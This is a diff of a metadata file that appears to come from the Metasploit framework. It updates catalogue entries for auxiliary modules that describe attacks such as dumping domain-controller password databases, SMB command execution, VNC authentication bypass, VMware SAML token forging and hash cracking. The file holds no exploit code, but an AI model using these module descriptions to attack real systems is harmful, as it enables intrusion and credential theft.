"CVE-2017-0143", @@ -10896,7 +11074,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/auxiliary/admin/smb/ms17_010_command.rb", "is_install_path": true, "ref_name": "admin/smb/ms17_010_command", @@ -10909,27 +11087,30 @@ "ETERNALROMANCE", "ETERNALCHAMPION", "ETERNALBLUE" - ] + ], + "Stability": [ + "crash-os-down" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/smb/psexec_ntdsgrab": { "name": "PsExec NTDS.dit And SYSTEM Hive Download Utility", "fullname": "auxiliary/admin/smb/psexec_ntdsgrab", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "Royce Davis " ], - "description": "This module authenticates to an Active Directory Domain Controller and creates\n a volume shadow copy of the %SYSTEMDRIVE%. It then pulls down copies of the\n ntds.dit file as well as the SYSTEM hive and stores them. The ntds.dit and SYSTEM\n hive copy can be used in combination with other tools for offline extraction of AD\n password hashes. All of this is done without uploading a single binary to the\n target host.", + "description": "This module authenticates to an Active Directory Domain Controller and creates\n a volume shadow copy of the %SYSTEMDRIVE%. It then pulls down copies of the\n ntds.dit file as well as the SYSTEM hive and stores them. The ntds.dit and SYSTEM\n hive copy can be used in combination with other tools for offline extraction of AD\n password hashes. All of this is done without uploading a single binary to the\n target host.", "references": [ "URL-http://sourceforge.net/projects/smbexec", "URL-https://www.optiv.com/blog/owning-computers-without-shell-access" @@ -10946,7 +11127,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2024-12-16 14:55:10 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb", "is_install_path": true, "ref_name": "admin/smb/psexec_ntdsgrab", @@ -10954,21 +11135,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes", + "artifacts-on-disk" + ], + "Reliability": [] }, "session_types": [ "smb" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/smb/samba_symlink_traversal": { "name": "Samba Symlink Directory Traversal", "fullname": "auxiliary/admin/smb/samba_symlink_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -10994,7 +11180,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2020-05-13 16:34:47 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/smb/samba_symlink_traversal.rb", "is_install_path": true, "ref_name": "admin/smb/samba_symlink_traversal", @@ -11002,19 +11188,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/smb/upload_file": { "name": "SMB File Upload Utility", "fullname": "auxiliary/admin/smb/upload_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11022,9 +11212,7 @@ "hdm " ], "description": "This module uploads a file to a target share and path. The only reason\n to use this module is if your existing SMB client is not able to support the features\n of the Metasploit Framework that you need, like pass-the-hash authentication.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -11037,7 +11225,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2024-12-16 14:55:10 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/smb/upload_file.rb", "is_install_path": true, "ref_name": "admin/smb/upload_file", @@ -11045,28 +11233,32 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ], + "Reliability": [] }, "session_types": [ "smb" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/smb/webexec_command": { "name": "WebEx Remote Command Execution Utility", "fullname": "auxiliary/admin/smb/webexec_command", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "Ron Bowes " ], - "description": "This module enables the execution of a single command as System by exploiting a remote\n code execution vulnerability in Cisco's WebEx client software.", + "description": "This module enables the execution of a single command as System by exploiting a remote\n code execution vulnerability in Cisco's WebEx client software.", "references": [ "URL-https://webexec.org", "CVE-2018-15442" @@ -11083,7 +11275,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2018-10-24 16:18:17 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/smb/webexec_command.rb", "is_install_path": true, "ref_name": "admin/smb/webexec_command", @@ -11091,19 +11283,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/sunrpc/solaris_kcms_readfile": { "name": "Solaris KCMS + TTDB Arbitrary File Read", "fullname": "auxiliary/admin/sunrpc/solaris_kcms_readfile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2003-01-22", "type": "auxiliary", @@ -11121,34 +11316,25 @@ "platform": "", "arch": "", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2019-10-05 13:50:30 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb", "is_install_path": true, "ref_name": "admin/sunrpc/solaris_kcms_readfile", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/teradata/teradata_odbc_sql": { "name": "Teradata ODBC SQL Query Module", "fullname": "auxiliary/admin/teradata/teradata_odbc_sql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-03-29", "type": "auxiliary", @@ -11163,12 +11349,8 @@ "platform": "", "arch": "", "rport": 1025, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-05-17 17:04:49 +0000", "path": "/modules/auxiliary/admin/teradata/teradata_odbc_sql.py", @@ -11184,16 +11366,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/tftp/tftp_transfer_util": { "name": "TFTP File Transfer Utility", "fullname": "auxiliary/admin/tftp/tftp_transfer_util", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11208,14 +11386,10 @@ "platform": "", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/tftp/tftp_transfer_util.rb", "is_install_path": true, "ref_name": "admin/tftp/tftp_transfer_util", @@ -11223,6 +11397,14 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -11240,16 +11422,14 @@ "auxiliary_admin/tikiwiki/tikidblib": { "name": "TikiWiki Information Disclosure", "fullname": "auxiliary/admin/tikiwiki/tikidblib", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-11-01", "type": "auxiliary", "author": [ "Matteo Cantoni " ], - "description": "A vulnerability has been reported in Tikiwiki, which can be exploited by\n an anonymous user to dump the MySQL user & passwd just by creating a mysql\n error with the \"sort_mode\" var.\n\n The vulnerability was reported in Tikiwiki version 1.9.5.", + "description": "A vulnerability has been reported in Tikiwiki, which can be exploited by\n an anonymous user to dump the MySQL user & passwd just by creating a mysql\n error with the \"sort_mode\" var.\n\n The vulnerability was reported in Tikiwiki version 1.9.5.", "references": [ "OSVDB-30172", "BID-20858", @@ -11275,7 +11455,7 @@ "https" ], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/tikiwiki/tikidblib.rb", "is_install_path": true, "ref_name": "admin/tikiwiki/tikidblib", @@ -11283,6 +11463,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -11296,9 +11481,7 @@ "auxiliary_admin/upnp/soap_portmapping": { "name": "UPnP IGD SOAP Port Mapping Utility", "fullname": "auxiliary/admin/upnp/soap_portmapping", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11329,15 +11512,14 @@ "https" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/upnp/soap_portmapping.rb", "is_install_path": true, "ref_name": "admin/upnp/soap_portmapping", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -11354,9 +11536,7 @@ "auxiliary_admin/vmware/poweroff_vm": { "name": "VMWare Power Off Virtual Machine", "fullname": "auxiliary/admin/vmware/poweroff_vm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11364,9 +11544,7 @@ "theLightCosine " ], "description": "This module will log into the Web API of VMWare and try to power off\n a specified Virtual Machine.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -11386,27 +11564,22 @@ "https" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/vmware/poweroff_vm.rb", "is_install_path": true, "ref_name": "admin/vmware/poweroff_vm", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/vmware/poweron_vm": { "name": "VMWare Power On Virtual Machine", "fullname": "auxiliary/admin/vmware/poweron_vm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11414,9 +11587,7 @@ "theLightCosine " ], "description": "This module will log into the Web API of VMWare and try to power on\n a specified Virtual Machine.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -11436,27 +11607,22 @@ "https" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/vmware/poweron_vm.rb", "is_install_path": true, "ref_name": "admin/vmware/poweron_vm", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/vmware/tag_vm": { "name": "VMWare Tag Virtual Machine", "fullname": "auxiliary/admin/vmware/tag_vm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11464,9 +11630,7 @@ "theLightCosine " ], "description": "This module will log into the Web API of VMWare and\n 'tag' a specified Virtual Machine. It does this by\n logging a user event with user supplied text", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -11486,27 +11650,22 @@ "https" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/vmware/tag_vm.rb", "is_install_path": true, "ref_name": "admin/vmware/tag_vm", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/vmware/terminate_esx_sessions": { "name": "VMWare Terminate ESX Login Sessions", "fullname": "auxiliary/admin/vmware/terminate_esx_sessions", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11514,9 +11673,7 @@ "theLightCosine " ], "description": "This module will log into the Web API of VMWare and try to terminate\n user login sessions as specified by the session keys.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -11536,27 +11693,22 @@ "https" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb", "is_install_path": true, "ref_name": "admin/vmware/terminate_esx_sessions", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/vmware/vcenter_forge_saml_token": { "name": "VMware vCenter Forge SAML Authentication Credentials", "fullname": "auxiliary/admin/vmware/vcenter_forge_saml_token", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-04-20", "type": "auxiliary", @@ -11616,9 +11768,7 @@ "auxiliary_admin/vmware/vcenter_offline_mdb_extract": { "name": "VMware vCenter Extract Secrets from vmdir / vmafd DB File", "fullname": "auxiliary/admin/vmware/vcenter_offline_mdb_extract", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-05-10", "type": "auxiliary", @@ -11632,12 +11782,8 @@ "platform": "Linux", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-05-26 11:52:56 +0000", "path": "/modules/auxiliary/admin/vmware/vcenter_offline_mdb_extract.rb", @@ -11669,9 +11815,7 @@ "auxiliary_admin/vnc/realvnc_41_bypass": { "name": "RealVNC NULL Authentication Mode Bypass", "fullname": "auxiliary/admin/vnc/realvnc_41_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-05-15", "type": "auxiliary", @@ -11679,7 +11823,7 @@ "hdm ", "theLightCosine " ], - "description": "This module exploits an Authentication bypass Vulnerability\n in RealVNC Server version 4.1.0 and 4.1.1. It sets up a proxy\n listener on LPORT and proxies to the target server\n\n The AUTOVNC option requires that vncviewer be installed on\n the attacking machine.", + "description": "This module exploits an Authentication bypass vulnerability\n in RealVNC Server version 4.1.0 and 4.1.1. It sets up a proxy\n listener on LPORT and proxies to the target server.\n\n The AUTOVNC option requires that vncviewer be installed on\n the attacking machine.", "references": [ "BID-17978", "OSVDB-25479", @@ -11689,14 +11833,10 @@ "platform": "", "arch": "", "rport": 5900, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb", "is_install_path": true, "ref_name": "admin/vnc/realvnc_41_bypass", @@ -11704,42 +11844,41 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/vxworks/apple_airport_extreme_password": { "name": "Apple Airport Extreme Password Extraction (WDBRPC)", "fullname": "auxiliary/admin/vxworks/apple_airport_extreme_password", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "hdm " ], - "description": "This module can be used to read the stored password of a vulnerable\n Apple Airport Extreme access point. Only a small number of firmware versions\n have the WDBRPC service running, however the factory configuration was\n vulnerable. It appears that firmware versions 5.0.x as well as 5.1.x are\n susceptible to this issue. Once the password is obtained, the access point\n can be managed using the Apple AirPort utility.", + "description": "This module can be used to read the stored password of a vulnerable\n Apple Airport Extreme access point. Only a small number of firmware versions\n have the WDBRPC service running, however the factory configuration was\n vulnerable. It appears that firmware versions 5.0.x as well as 5.1.x are\n susceptible to this issue. Once the password is obtained, the access point\n can be managed using the Apple AirPort utility.", "references": [ "OSVDB-66842", - "URL-https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/", + "URL-http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/", "US-CERT-VU-362332" ], "platform": "", "arch": "", "rport": 17185, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb", "is_install_path": true, "ref_name": "admin/vxworks/apple_airport_extreme_password", @@ -11747,42 +11886,39 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/vxworks/dlink_i2eye_autoanswer": { "name": "D-Link i2eye Video Conference AutoAnswer (WDBRPC)", "fullname": "auxiliary/admin/vxworks/dlink_i2eye_autoanswer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "hdm " ], - "description": "This module can be used to enable auto-answer mode for the D-Link\n i2eye video conferencing system. Once this setting has been flipped,\n the device will accept incoming video calls without acknowledgement.\n The NetMeeting software included in Windows XP can be used to connect\n to this device. The i2eye product is no longer supported by the vendor\n and all models have reached their end of life (EOL).", + "description": "This module can be used to enable auto-answer mode for the D-Link\n i2eye video conferencing system. Once this setting has been flipped,\n the device will accept incoming video calls without acknowledgement.\n The NetMeeting software included in Windows XP can be used to connect\n to this device. The i2eye product is no longer supported by the vendor\n and all models have reached their end of life (EOL).", "references": [ "OSVDB-66842", - "URL-https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/", + "URL-http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/", "US-CERT-VU-362332" ], "platform": "", "arch": "", "rport": 17185, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb", "is_install_path": true, "ref_name": "admin/vxworks/dlink_i2eye_autoanswer", @@ -11790,19 +11926,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/vxworks/wdbrpc_memory_dump": { "name": "VxWorks WDB Agent Remote Memory Dump", "fullname": "auxiliary/admin/vxworks/wdbrpc_memory_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -11812,20 +11951,16 @@ "description": "This module provides the ability to dump the system memory of a VxWorks target through WDBRPC", "references": [ "OSVDB-66842", - "URL-https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/", + "URL-http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/", "US-CERT-VU-362332" ], "platform": "", "arch": "", "rport": 17185, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb", "is_install_path": true, "ref_name": "admin/vxworks/wdbrpc_memory_dump", @@ -11833,6 +11968,13 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -11846,32 +11988,26 @@ "auxiliary_admin/vxworks/wdbrpc_reboot": { "name": "VxWorks WDB Agent Remote Reboot", "fullname": "auxiliary/admin/vxworks/wdbrpc_reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "hdm " ], - "description": "This module provides the ability to reboot a VxWorks target through WDBRPC", + "description": "This module provides the ability to reboot a VxWorks target through WDBRPC.", "references": [ "OSVDB-66842", - "URL-https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/", + "URL-http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/", "US-CERT-VU-362332" ], "platform": "", "arch": "", "rport": 17185, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb", "is_install_path": true, "ref_name": "admin/vxworks/wdbrpc_reboot", @@ -11879,6 +12015,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-os-restarts" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -11892,9 +12033,7 @@ "auxiliary_admin/webmin/edit_html_fileaccess": { "name": "Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access", "fullname": "auxiliary/admin/webmin/edit_html_fileaccess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-09-06", "type": "auxiliary", @@ -11902,7 +12041,7 @@ "Unknown", "juan vazquez " ], - "description": "This module exploits a directory traversal in Webmin 1.580. The vulnerability\n exists in the edit_html.cgi component and allows an authenticated user with access\n to the File Manager Module to access arbitrary files with root privileges. The\n module has been tested successfully with Webmin 1.580 over Ubuntu 10.04.", + "description": "This module exploits a directory traversal in Webmin 1.580. The vulnerability\n exists in the edit_html.cgi component and allows an authenticated user with access\n to the File Manager Module to access arbitrary files with root privileges. The\n module has been tested successfully with Webmin 1.580 over Ubuntu 10.04.", "references": [ "OSVDB-85247", "BID-55446", @@ -11929,7 +12068,7 @@ "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb", "is_install_path": true, "ref_name": "admin/webmin/edit_html_fileaccess", @@ -11937,6 +12076,13 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -11950,16 +12096,14 @@ "auxiliary_admin/webmin/file_disclosure": { "name": "Webmin File Disclosure", "fullname": "auxiliary/admin/webmin/file_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-06-30", "type": "auxiliary", "author": [ "Matteo Cantoni " ], - "description": "A vulnerability has been reported in Webmin and Usermin, which can be\n exploited by malicious people to disclose potentially sensitive information.\n The vulnerability is caused due to an unspecified error within the handling\n of an URL. This can be exploited to read the contents of any files on the\n server via a specially crafted URL, without requiring a valid login.\n The vulnerability has been reported in Webmin (versions prior to 1.290) and\n Usermin (versions prior to 1.220).", + "description": "A vulnerability has been reported in Webmin and Usermin, which can be\n exploited by malicious people to disclose potentially sensitive information.\n The vulnerability is caused due to an unspecified error within the handling\n of an URL. This can be exploited to read the contents of any files on the\n server via a specially crafted URL, without requiring a valid login.\n The vulnerability has been reported in Webmin (versions prior to 1.290) and\n Usermin (versions prior to 1.220).", "references": [ "OSVDB-26772", "BID-18744", @@ -11986,7 +12130,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/webmin/file_disclosure.rb", "is_install_path": true, "ref_name": "admin/webmin/file_disclosure", @@ -11994,6 +12138,13 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -12007,18 +12158,16 @@ "auxiliary_admin/wemo/crockpot": { "name": "Belkin Wemo-Enabled Crock-Pot Remote Control", "fullname": "auxiliary/admin/wemo/crockpot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "wvu " ], - "description": "This module acts as a simple remote control for Belkin Wemo-enabled\n Crock-Pots by implementing a subset of the functionality provided by the\n Wemo App.\n\n No vulnerabilities are exploited by this Metasploit module in any way.", + "description": "This module acts as a simple remote control for Belkin Wemo-enabled\n Crock-Pots by implementing a subset of the functionality provided by the\n Wemo App.\n\n No vulnerabilities are exploited by this Metasploit module in any way.", "references": [ - "URL-https://www.crock-pot.com/wemo-landing-page.html", + "URL-http://web.archive.org/web/20180301171809/https://www.crock-pot.com/wemo-landing-page.html", "URL-https://www.belkin.com/us/support-article?articleNum=101177", "URL-http://www.wemo.com/" ], @@ -12041,7 +12190,7 @@ "https" ], "targets": null, - "mod_time": "2020-12-03 01:04:48 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/wemo/crockpot.rb", "is_install_path": true, "ref_name": "admin/wemo/crockpot", @@ -12054,7 +12203,8 @@ ], "SideEffects": [ "physical-effects" - ] + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -12072,9 +12222,7 @@ "auxiliary_admin/zend/java_bridge": { "name": "Zend Server Java Bridge Design Flaw Remote Code Execution", "fullname": "auxiliary/admin/zend/java_bridge", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-03-28", "type": "auxiliary", @@ -12082,7 +12230,7 @@ "ikki", "MC " ], - "description": "This module abuses a flaw in the Zend Java Bridge Component of\n the Zend Server Framework. By sending a specially crafted packet, an\n attacker may be able to execute arbitrary code.\n\n NOTE: This module has only been tested with the Win32 build of the software.", + "description": "This module abuses a flaw in the Zend Java Bridge Component of\n the Zend Server Framework. By sending a specially crafted packet, an\n attacker may be able to execute arbitrary code.\n\n NOTE: This module has only been tested with the Win32 build of the software.", "references": [ "OSVDB-71420", "ZDI-11-113", @@ -12091,14 +12239,10 @@ "platform": "", "arch": "", "rport": 10001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/zend/java_bridge.rb", "is_install_path": true, "ref_name": "admin/zend/java_bridge", @@ -12106,19 +12250,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_analyze/apply_pot": { "name": "Apply Pot File To Hashes", "fullname": "auxiliary/analyze/apply_pot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12126,20 +12273,14 @@ "h00die" ], "description": "This module uses a John the Ripper or Hashcat .pot file to crack any password\n hashes in the creds database instantly. JtR's --show functionality is used to\n help combine all the passwords into an easy to use format.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-07 21:38:27 +0000", "path": "/modules/auxiliary/analyze/apply_pot.rb", "is_install_path": true, "ref_name": "analyze/apply_pot", @@ -12147,6 +12288,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -12172,20 +12318,14 @@ "h00die" ], "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from passwd files on AIX systems. These utilize DES hashing.\n DES is format 1500 in Hashcat.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-02-18 18:12:12 +0000", + "mod_time": "2025-05-07 21:38:27 +0000", "path": "/modules/auxiliary/analyze/crack_aix.rb", "is_install_path": true, "ref_name": "analyze/crack_aix", @@ -12193,6 +12333,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -12225,20 +12370,14 @@ "h00die" ], "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from the mssql_hashdump, mysql_hashdump, postgres_hashdump, or oracle_hashdump modules.\n Passwords that have been successfully cracked are then saved as proper credentials.\n Due to the complexity of some of the hash types, they can be very slow. Setting the\n ITERATION_TIMEOUT is highly recommended.\n MSSQL is 131, 132, and 1731 in hashcat.\n MYSQL is 200, and 300 in hashcat.\n ORACLE is 112, and 12300 in hashcat.\n POSTGRES is 12 in hashcat.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": 